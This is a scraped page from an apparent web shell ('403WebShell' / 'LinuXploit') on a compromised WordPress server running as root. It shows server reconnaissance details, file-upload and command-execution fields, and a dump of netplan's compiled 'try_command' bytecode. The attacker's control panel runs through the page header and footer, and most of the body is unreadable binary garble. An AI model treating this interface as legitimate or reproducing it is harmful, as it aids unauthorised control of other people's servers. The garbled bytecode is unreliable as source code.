Warning: chmod(): Operation not permitted in /var/www/html/glamautowash.com/wp-content/plugins/translatepress-developer/index.php on line 8
403WebShell
403Webshell
Server IP : 178.128.116.179  /  Your IP : 216.73.216.206
Web Server : nginx/1.30.3
System : Linux glamautowash 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/netplan/netplan_cli/cli/commands/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/netplan/netplan_cli/cli/commands/__pycache__/try_command.cpython-312.pyc
�

���gO���dZddlZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
ddlmZddl
mZdd	lmZd
ZGd�dej"�Zy)
znetplan try command line�N�)�
ConfigManager�)�utils�)�NetplanApply)�terminal�xc�j��eZdZ�fd�Zed��Zd�Zd�Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�Z�xZS)
�
NetplanTryc�*��t�|�ddd��d|_d|_d|_d|_d|_d|_tjjdd�|_tjj|jdd	d
�|_y)N�tryzLTry to apply a new netplan config to running system, with automatic rollbackT)�
command_id�description�leafF�DBUS_TEST_NETPLAN_ROOT�/�run�netplanznetplan-try.ready)�super�__init__�configuration_changed�new_interfaces�config_file�_config_manager�
t_settings�t�os�environ�get�_rootdir�path�join�_netplan_try_stamp)�self�	__class__s ��:/usr/share/netplan/netplan_cli/cli/commands/try_command.pyrzNetplanTry.__init__)s����
���E�&G�"�	�	$�&+��"�"������#����������
�
���'?��E��
�"$�'�'�,�,�t�}�}�e�Y�Pc�"d���c�h�|jst|j��|_|jS)N)�prefix)rrr!�r%s r'�config_managerzNetplanTry.config_manager7s(���#�#�#0��
�
�#F�D� ��#�#�#r(c��tjj|j�r tj|j�yy)NTF)rr"�isfiler$�remover+s r'�clear_ready_stampzNetplanTry.clear_ready_stamp=s0��
�7�7�>�>�$�1�1�2��I�I�d�-�-�.��r(c��tj|jdzdd��t|jd�j�y)Nz/run/netplani�T)�mode�exist_ok�w)r�makedirsr!�openr$�closer+s r'�touch_ready_stampzNetplanTry.touch_ready_stampCs4��
���D�M�M�N�2���N��T�
$�
$�c�*�0�0�2r(c�(�|jjdd��|jjdttd��|jjdd��|j|_|j
�|j�y)	Nz
--config-filezGApply the config file in argument in addition to current configuration.)�helpz	--timeoutz=Maximum number of seconds to wait for the user's confirmation)�type�defaultr:z--statez0Directory containing previous YAML configuration)�parser�add_argument�int�DEFAULT_INPUT_TIMEOUT�command_try�func�
parse_args�run_commandr+s r'rzNetplanTry.runGs������ � ��&o�	!�	q���� � ��&)�3H�&e�	!�	g�	
��� � ��&X�	!�	Z��$�$��	��������r(c�@�|j�s#tjtj�	tj
j
�}tj|�|_	|jj|j�tjtj|j�tjtj|j�|j!�|j#�t%�j'ddd|j(��|j+�|jj-|j.��|jr%|jj;|j�|j=�|j?�y#tj0$rt3d�|j5�Y��tj6$rt3d�Y��t8$r3}t3d|z�t3d�|j5�Yd}~��d}~wwxYw#|jr%|jj;|j�|j=�|j?�wxYw)NTF��run_generate�sync�
exit_on_error�	state_dir)�timeoutz
Reverting.z
Configuration accepted.z
An error occurred: %s) �
is_revertable�sys�exitr�	EX_CONFIG�stdin�filenor	�Terminalr�saver�signal�SIGINT�_signal_handler�SIGUSR1�backup�setupr�
command_apply�stater8�get_confirmation_inputrK�
InputRejected�print�revert�
InputAccepted�	Exception�reset�cleanupr0)r%�fd�es   r'rAzNetplanTry.command_tryUs����!�!�#��H�H�R�\�\�"�	%����!�!�#�B��&�&�r�*�D�F��F�F�K�K����(�
�M�M�&�-�-��)=�)=�>��M�M�&�.�.�$�*>�*>�?��K�K�M��J�J�L��N�(�(�d��UZ�fj�fp�fp�(�q�
�"�"�$��F�F�)�)�$�,�,�)�?��v�v������T�_�_�-��L�L�N��"�"�$���%�%�	��.�!��K�K�M��%�%�	/��-�.��	��+�a�/�0��.�!��K�K�M�M��	��
�v�v������T�_�_�-��L�L�N��"�"�$�sC�D6F=�=.I�+I
�-I�
I
�I�)I�=I
�I�I
�
AJc�\�d}|jrd}|jj|��y)NFT)�backup_config_dir)rr,rX)r%rgs  r'rXzNetplanTry.backupzs/��!����� $�����"�"�5F�"�Gr(c��|jr�tjjddd�}tjj	|j�jd�}t
j�}tjj|dj||��}|jj|j|i�d|_
y)Nr�etcrz.yamlz
{}.{}.yamlT)rrr"r#�basename�rstrip�time�formatr,�addr)r%�dest_dir�	dest_name�dest_suffix�	dest_paths     r'rYzNetplanTry.setup�s�������w�w�|�|�C��	�:�H����(�(��)9�)9�:�A�A�'�J�I��)�)�+�K������X�|�/B�/B�9�k�/Z�[�I����#�#�T�%5�%5�y�$A�B�%)��"r(c�`�tj�}tjj	|dd�}tj
|�t
jd|d��|jj�t�jddd|��t
j|�y)Nrirz/etc/netplanT)�
dirs_exist_okFrF)
�tempfile�mkdtemprr"r#r5�shutil�copytreer,r_rrZ�rmtree)r%�tempdir�confdirs   r'r_zNetplanTry.revert�s{���"�"�$���'�'�,�,�w��y�9��
���G�������t�D����"�"�$���$�$�%�d�RW�cj�$�k��
�
�g�r(c�8�|jj�y�N)r,rcr+s r'rczNetplanTry.cleanup�s�����#�#�%r(c��g}|jr|j|j�d}	|jj|��}g}i}|j|j�|j|j�|j�D].}|j r�d}|j|j"|f��0|r1|D] \}}t%dj'||���"t%d�yy#tj
$rB}t
j|�tjtj�Yd}~��d}~wwxYw)a
        Check if the configuration is revertable, if it doesn't contain bits
        that we know are likely to render the system unstable if we apply it,
        or if we revert.

        Returns True if the parsed config is "revertable", meaning that we
        can actually rely on backends to re-apply /all/ of the relevant
        configuration to interfaces when their config changes.

        Returns False if the parsed config contains options that are known
        to not cleanly revert via the backend.
        N)�extra_configzBreverting custom parameters for bridges and bonds is not supportedz{}: {}zL
Please carefully review the configuration and use 'netplan apply' directly.FT)r�appendr,�parser�
config_errors�logging�errorrMrNrrO�update�bridges�bonds�values�_is_trivial_compound_itf�idr^rm)	r%r�np_statere�revert_unsupported�multi_iface�itf�reason�ifnames	         r'rLzNetplanTry.is_revertable�s,����������� 0� 0�1���	#��*�*�0�0�l�0�K�H�
 ��9;�����8�+�+�,����8�>�>�*��%�%�'�	<�C��/�/�]��"�)�)�3�6�6�6�*:�;�	<�
�"4�
7�����h�o�o�f�f�5�6�
7��a�b����/�"�"�	#��M�M�!���H�H�R�\�\�"�"��	#�s�C8�8E
�8E�E
c��|tjk(rtj��|jrtj
��yr})rTrWr	r`rr])r%�sig�frames   r'rVzNetplanTry._signal_handler�s:���&�.�.� ��(�(�*�*��)�)��,�,�.�.�*r()�__name__�
__module__�__qualname__r�propertyr,r0r8rrArXrYr_rcrLrV�
__classcell__)r&s@r'rr'sR���e��$��$�
�3��#%�JH�*�
�&�+�Z/r(r)�__doc__r�rrrlrwrTrMru�
configmanagerr�r�applyrr	r@�NetplanCommandr�r(r'�<module>r�sJ��$���	��
�
�
��*������c/��%�%�c/r(

Youez - 2016 - github.com/yon3zu
LinuXploit